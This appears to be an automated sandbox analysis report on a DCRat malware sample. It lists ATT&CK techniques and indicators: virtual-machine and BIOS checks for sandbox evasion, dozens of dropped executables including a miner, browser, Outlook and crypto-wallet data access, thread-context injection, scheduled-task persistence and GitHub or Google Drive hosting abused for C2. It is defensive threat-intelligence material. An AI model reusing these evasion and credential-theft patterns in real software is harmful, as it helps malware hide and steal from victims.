dcrat | 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	AUTOKEY.exe

Downloads MZ/PE file

.NET Reactor proctector 1 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/files/0x000300000001a9be-13117.dat	net_reactor

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	AUTOKEY.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	AUTOKEY.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000\Control Panel\International\Geo\Nation	btcgood.exe
Key value queried	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000\Control Panel\International\Geo\Nation	ko.exe

Executes dropped EXE 53 IoCs

pid	Process
3812	SvCpJuhbT.exe
4596	lodir.exe
1544	asdfg.exe
5052	BLduscfibj.exe
3572	asdfg.exe
4132	BLduscfibj.exe
5056	BLduscfibj.exe
4880	xmrig.exe
2676	btcgood.exe
4072	pei.exe
2208	asas.exe
4140	escgwhs
2664	StringIds.exe
2792	StringIds.exe
4960	fzdbyrqea.exe
4104	fzdbyrqea.exe
4068	rty45.exe
3776	Project_8.exe
4932	648b5vt13485v134322685vt.exe
5080	InstallSetup2.exe
2680	BroomSetup.exe
3124	WatchDog.exe
4028	nspB6E9.tmp
2940	bin.exe
1952	user13.exe
1700	SupportsDynamicPartitions.exe
4664	SupportsDynamicPartitions.exe
4196	6.exe
4380	KB824105-x86-ENU.exe
1752	SuburbansKamacite.exe
4304	Eszop.exe
3464	crypted.exe
2132	EchoNavigator.exe
4720	c4fc1686ecf325a5432309a2fec15357f6ff849252747ef44de7b4f1f4d4d1c2.exe
3308	z73.exe
3224	tpeinf.exe
3344	dsdasda.exe
4628	OmegaEngine.exe
3744	ngrok.exe
2556	901d3bacbe82db5382c4f653efb11d4784254b3ad727530c73ae327b734c1a4b.exe
3364	3b9da1066d77143b24ee1c9b9c9787f63400bc599fcaf4bfc8f58efc802cf760.exe
796	build.exe
1952	ko.exe
4788	3b9da1066d77143b24ee1c9b9c9787f63400bc599fcaf4bfc8f58efc802cf760.exe
1772	Eszop.exe
5208	382498393934ena-rr.exe
5924	nxmr.exe
6028	wupgrdsv.exe
5132	autorun.exe
6140	svchost.exe
5876	AUTOKEY.exe
5864	TrueCrypt_NKwtUN.exe
2304	costa.exe

Loads dropped DLL 4 IoCs

pid	Process
5080	InstallSetup2.exe
5080	InstallSetup2.exe
2940	bin.exe
3724	bin.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Accesses Microsoft Outlook profiles 1 TTPs 5 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	btcgood.exe
Key opened	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	btcgood.exe
Key opened	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	btcgood.exe
Key opened	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	btcgood.exe
Key opened	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	btcgood.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	AUTOKEY.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\$Recycle.Bin\S-1-5-21-167039816-2868247564-2551780377-1000\desktop.ini	BroomSetup.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
23	raw.githubusercontent.com
135	drive.google.com
136	drive.google.com
4	bitbucket.org
5	bitbucket.org
22	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
571	ip-api.com

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
3724	bin.exe
3724	bin.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
2940	bin.exe
3724	bin.exe
5876	AUTOKEY.exe

Suspicious use of SetThreadContext 27 IoCs

description	pid	Process	procid_target
PID 504 set thread context of 4796	504	notepad.exe	79
PID 1544 set thread context of 3572	1544	asdfg.exe	81
PID 5052 set thread context of 5056	5052	BLduscfibj.exe	83
PID 2664 set thread context of 2792	2664	StringIds.exe	106
PID 2792 set thread context of 2696	2792	StringIds.exe	107
PID 2696 set thread context of 1468	2696	MSBuild.exe	108
PID 4960 set thread context of 4104	4960	fzdbyrqea.exe	113
PID 1700 set thread context of 4664	1700	SupportsDynamicPartitions.exe	133
PID 4664 set thread context of 4492	4664	SupportsDynamicPartitions.exe	134
PID 4492 set thread context of 3972	4492	MSBuild.exe	135
PID 2940 set thread context of 3724	2940	bin.exe	136
PID 3724 set thread context of 3296	3724	bin.exe	55
PID 3724 set thread context of 3296	3724	bin.exe	55
PID 3464 set thread context of 3328	3464	crypted.exe	152
PID 4720 set thread context of 3776	4720	c4fc1686ecf325a5432309a2fec15357f6ff849252747ef44de7b4f1f4d4d1c2.exe	161
PID 3344 set thread context of 1576	3344	dsdasda.exe	166
PID 648 set thread context of 3296	648	help.exe	55
PID 648 set thread context of 504	648	help.exe	77
PID 3364 set thread context of 4788	3364	3b9da1066d77143b24ee1c9b9c9787f63400bc599fcaf4bfc8f58efc802cf760.exe	183
PID 648 set thread context of 5092	648	help.exe	187
PID 648 set thread context of 3484	648	help.exe	188
PID 6028 set thread context of 5124	6028	wupgrdsv.exe	206
PID 648 set thread context of 5248	648	help.exe	191
PID 5132 set thread context of 2500	5132	autorun.exe	216
PID 648 set thread context of 5348	648	help.exe	192
PID 648 set thread context of 5660	648	help.exe	203
PID 648 set thread context of 5124	648	help.exe	206

Drops file in Windows directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Prefetch\RUNDLL32.EXE-354DF41A.pf	BroomSetup.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Prefetch\AgGlGlobalHistory.db	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\ASPNET_REGIIS.EXE-A5891C91.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\REG.EXE-E7E8BD26.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\SEARCHUI.EXE-ED2806F3.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\SPPSVC.EXE-B0F8131B.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\WFSERVICESREG.EXE-122A0E00.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\AgGlFgAppHistory.db	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\PfPre_6586467b.mkd	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\RUNDLL32.EXE-4AA64FDC.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\SVCHOST.EXE-0F1D54AD.pf	BroomSetup.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Prefetch\ResPriHMStaticDb.ebd	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\SHUTDOWN.EXE-E7D5C9CC.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\SVCHOST.EXE-80F4A784.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\WFSERVICESREG.EXE-C6979A7A.pf	BroomSetup.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Prefetch\AgCx_SC4.db	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\SMCONFIGINSTALLER.EXE-EC979AE0.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\TAKEOWN.EXE-A80759AD.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\ASPNET_REGIIS.EXE-945CDB73.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\PfSvPerfStats.bin	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\RUNDLL32.EXE-75574BF9.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\VERCLSID.EXE-7C52E31C.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\MSASCUIL.EXE-B411EDE3.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\NGEN.EXE-EC3F9239.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\SVCHOST.EXE-25BF109C.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\WLRMDR.EXE-C2B47318.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\LINQWEBCONFIG.EXE-F9945120.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\SVCHOST.EXE-7F879A40.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\SVCHOST.EXE-BB573226.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\VSSVC.EXE-B8AFC319.pf	BroomSetup.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\System\xxx1.bak	382498393934ena-rr.exe
File opened for modification	C:\Windows\System\svchost.exe	382498393934ena-rr.exe
File opened for modification	C:\Windows\Prefetch\AgAppLaunch.db	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\BACKGROUNDTASKHOST.EXE-75868EA9.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\ONEDRIVESETUP.EXE-ADFC0EFD.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\RUNDLL32.EXE-1296E45D.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\RUNDLL32.EXE-23EA2E5B.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\RUNDLL32.EXE-2C744070.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\AgGlFaultHistory.db	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\DLLHOST.EXE-A8DE6D5B.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\FSQUIRT.EXE-BBD9646E.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\SETTINGSYNCHOST.EXE-2521C7ED.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\TRUSTEDINSTALLER.EXE-3CC531E5.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\DISM.EXE-DE199F71.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\DLLHOST.EXE-D8E67ED6.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\INSTALLAGENT.EXE-2CA93386.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\ReadyBoot\ReadyBoot.etl	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\SVCHOST.EXE-32F0CF8B.pf	BroomSetup.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Prefetch\DISMHOST.EXE-74175986.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\DLLHOST.EXE-6BCB9FAA.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\DSMUSERTASK.EXE-35CC97B6.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\SMCONFIGINSTALLER.EXE-039D5D2E.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\MOBSYNC.EXE-C5E2284F.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\RUNDLL32.EXE-D3012B0D.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\SHELLEXPERIENCEHOST.EXE-20A25770.pf	BroomSetup.exe
File opened for modification	C:\Windows\Prefetch\TASKHOSTW.EXE-3E0B74C8.pf	BroomSetup.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Prefetch\AgRobust.db	BroomSetup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 6 IoCs

pid	pid_target	Process	procid_target
1180	3572	WerFault.exe	81
3908	3572	WerFault.exe	81
2140	3124	WerFault.exe	122
3488	3328	WerFault.exe	152
2236	4720	WerFault.exe	157
8512	8764	WerFault.exe	314

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	lodir.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	lodir.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	lodir.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	901d3bacbe82db5382c4f653efb11d4784254b3ad727530c73ae327b734c1a4b.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	901d3bacbe82db5382c4f653efb11d4784254b3ad727530c73ae327b734c1a4b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	escgwhs
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	escgwhs
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	escgwhs
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	901d3bacbe82db5382c4f653efb11d4784254b3ad727530c73ae327b734c1a4b.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	nspB6E9.tmp
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	nspB6E9.tmp
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe

Creates scheduled task(s) 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
9140	schtasks.exe
4204	schtasks.exe
3812	schtasks.exe
7764	schtasks.exe
9112	schtasks.exe
7460	schtasks.exe
5656	schtasks.exe

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
7844	timeout.exe
1292	timeout.exe
2648	timeout.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Extensible Cache	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = eb7944cbad52da01	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B72164 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\TreeView = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-SubSysId = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 5de0e9caad52da01	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\AdapterInfo = "vendorId=\"0x1414\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.15063.0\"hypervisor=\"No Hypervisor (No SLAT)\""	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage\ProcessingFlag = 60bc86dfad52da01	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 0e7a9ad1ad52da01	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Privacy\ClearBrowsingHistoryOnStart = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 010000003dd060640d620bfb87a8333be6e032011514fd2291e6b60c122bf0228e2900e425caccdb5614e130c9b1e5731a2d5085189114926ffa83bf88f4	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DXFeatureLevel = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Content	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "268435456"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Privacy	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = c56787d1ad52da01	MicrosoftEdge.exe
